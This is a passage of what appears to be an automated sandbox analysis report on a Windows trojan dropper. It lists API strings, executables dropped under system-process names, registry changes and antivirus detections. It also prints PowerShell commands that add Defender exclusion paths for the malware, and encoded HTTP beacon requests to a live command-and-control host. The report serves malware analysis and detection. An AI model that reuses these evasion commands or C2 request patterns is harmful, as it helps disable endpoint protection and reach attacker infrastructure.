KERNELBASE.DLL) Found string "InitializeCriticalSectionEx" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "LCMapStringEx" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "log10" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: UCRTBASE.DLL) Found string "atan2" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: UCRTBASE.DLL) Found string "floor" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: UCRTBASE.DLL) Found string "ldexp" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: UCRTBASE.DLL) Found string "frexp" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: UCRTBASE.DLL) Found string "ShowWindow" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetDlgItem" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "EnableWindow" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "SetWindowTextW" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetParent" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "SetWindowPos" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "SetDlgItemTextW" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetSystemMetrics" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetClientRect" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetWindowRect" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL) Found string "GetWindowLongW" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: USER32.DLL)60:T901,"intoHostDhcp.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\intoHostDhcp.exe]- [targetUID: 00000000-00005780] "DISMHOST.EXE.6A9EA94A.bin" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "wininit.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\PLA\Templates\wininit.exe]- [targetUID: 00000000-00001920] "OSPPSVC.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\OSPPSVC.exe]- [targetUID: 00000000-00000824] "05fd39cebe04318f847a6a72e913bbe3c722c85f.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A] "csrss.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\TorService\tor\pluggable_transports\csrss.exe]- [targetUID: 00000000-00005752] "dllhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Oracle\Java\javapath_target_623756\dllhost.exe]- [targetUID: 00000000-00005752] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\conhost.exe]- [targetUID: 00000000-00003744] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\Media\Quirky\conhost.exe]- [targetUID: 00000000-00003744] "csrss.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\L2Schemas\csrss.exe]- [targetUID: 00000000-00005752] "csrss.exe.6A9E877A.bin" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\Temp\conhost.exe]- [targetUID: 00000000-00003744] "WININIT.EXE.6A9E877A.bin" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A]61:T565,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" marked "C:\BlockproviderComponentweb\__tmp_rar_sfx_access_check_907529030" for deletion "intoHostDhcp.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\mZa55Bw1Mk" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\yucndqmj.2t4.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\mxafncfz.vkm.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\sdduygre.4w2.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\sav1takm.tw4.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\1vyl2jjv.vl0.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ndxtznjy.b5f.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\bbq43nr5.4h3.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\xkvset5p.h5s.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\tevggqcp.buh.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\50aacjg1.feu.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\yu4fzpyb.1di.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\kkkk3jxb.xa0.ps1" for deletion62:T5b9,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" opened "C:\BlockproviderComponentweb\__tmp_rar_sfx_access_check_907529030" with delete access "intoHostDhcp.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\mZa55Bw1Mk" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\yucndqmj.2t4.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\mxafncfz.vkm.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\sdduygre.4w2.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\sav1takm.tw4.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\1vyl2jjv.vl0.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ndxtznjy.b5f.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\bbq43nr5.4h3.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xkvset5p.h5s.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\tevggqcp.buh.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\50aacjg1.feu.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\yu4fzpyb.1di.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\kkkk3jxb.xa0.ps1" with delete access63:T500,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "WScript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "WScript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "intoHostDhcp.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "intoHostDhcp.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "powershell.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "powershell.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")64:T465,17/23 Antivirus vendors marked dropped file "wininit.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "OSPPSVC.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "05fd39cebe04318f847a6a72e913bbe3c722c85f.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "csrss.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "dllhost.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "conhost.exe" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "csrss.exe.6A9E877A.bin" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked dropped file "WININIT.EXE.6A9E877A.bin" as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate)65:T5d0,17/23 Antivirus vendors marked spawned process "intoHostDhcp.exe" (PID: 5752) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "csrss.exe" (PID: 6116) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "dllhost.exe" (PID: 4364) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "wininit.exe" (PID: 1920) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "OSPPSVC.exe" (PID: 1572) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "conhost.exe" (PID: 3744) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "wininit.exe" (PID: 4020) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "csrss.exe" (PID: 4056) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "dllhost.exe" (PID: 3284) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate) 17/23 Antivirus vendors marked spawned process "OSPPSVC.exe" (PID: 824) as malicious (classified as "Trojan.MSIL.Basic.8" with 73% detection rate)66:T9c5,Spawned process "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (UID: 00000000-00005856) Spawned process "WScript.exe" with commandline ""C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe"" (UID: 00000000-00005316) Spawned process "cmd.exe" with commandline "/c ""C:\\BlockproviderComponentweb\\QGmdpYGOg.bat" "" (UID: 00000000-00005780) Spawned process "intoHostDhcp.exe" (UID: 00000000-00005752) Spawned process "csrss.exe" (UID: 00000000-00006116) Spawned process "dllhost.exe" (UID: 00000000-00004364) Spawned process "wininit.exe" (UID: 00000000-00001920) Spawned process "OSPPSVC.exe" (UID: 00000000-00001572) Spawned process "conhost.exe" (UID: 00000000-00003744) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\intoHostDhcp.exe'" (UID: 00000000-00004068) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Oracle\\Java\\javapath\\dllhost.exe'" (UID: 00000000-00004328) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\TorService\\tor\\pluggable_transports\\csrss.exe'" (UID: 00000000-00002716) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\OSPPSVC.exe'" (UID: 00000000-00001248) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\PLA\\Templates\\wininit.exe'" (UID: 00000000-00003876) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Temp\\conhost.exe'" (UID: 00000000-00003824) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\L2Schemas\\csrss.exe'" (UID: 00000000-00002964) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\Media\\Quirky\\conhost.exe'" (UID: 00000000-00001704) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\conhost.exe'" (UID: 00000000-00003720) Spawned process "wininit.exe" (UID: 00000000-00004020) Spawned process "csrss.exe" (UID: 00000000-00004056) Spawned process "dllhost.exe" (UID: 00000000-00003284) Spawned process "OSPPSVC.exe" (UID: 00000000-00000824)67:T7f6,Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00001264.00000003.207337.02E30000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00001264.00000003.207337.02E30000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00001420.00000001.209099.02BB0000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00001420.00000001.209099.02BB0000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00001512.00000001.208562.02B00000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00001512.00000001.208562.02B00000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00001672.00000002.205003.02BD0000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00001672.00000002.205003.02BD0000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00004000.00000001.209123.029C0000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00004000.00000001.209123.029C0000.00000004.mdmp")68:Te7ce,Contains base64 string in header "de30911230ba06f0c4eecc25808b6efa" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Type" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "4664" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "ruConnection" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET 